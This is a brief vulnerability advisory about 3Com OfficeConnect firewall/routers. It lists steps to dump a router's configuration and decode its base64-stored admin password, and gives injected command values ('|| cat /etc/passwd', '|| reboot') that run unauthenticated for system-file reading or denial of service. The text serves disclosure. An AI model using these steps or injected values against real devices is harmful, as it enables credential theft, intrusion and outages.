3Com OfficeConnect Firewall/Router multiple vulnerabilities

Remote command execution and password disclosure.

Posted by Andrea Fabrizi on October 18, 2009

Admin password disclosure

1) SSH/Telnet to router using one of these hidden accounts:
2) Type 9
3) Type 1
3) Type 3 to dump the configuration
4) Locate the sysPassword field:
    <sysPassword value="cXdlcnR5Cg=="/>
5) Decode the admin password:
   roland@hp6720s:~$ echo -ne "cXdlcnR5Cg==" | base64 -d

Remote command execution || cat /etc/passwd

To see the command output you need to log into the router, however the command is executed even if the user is not logged in, so if you don’t have access to the device a DOS is also possible: || reboot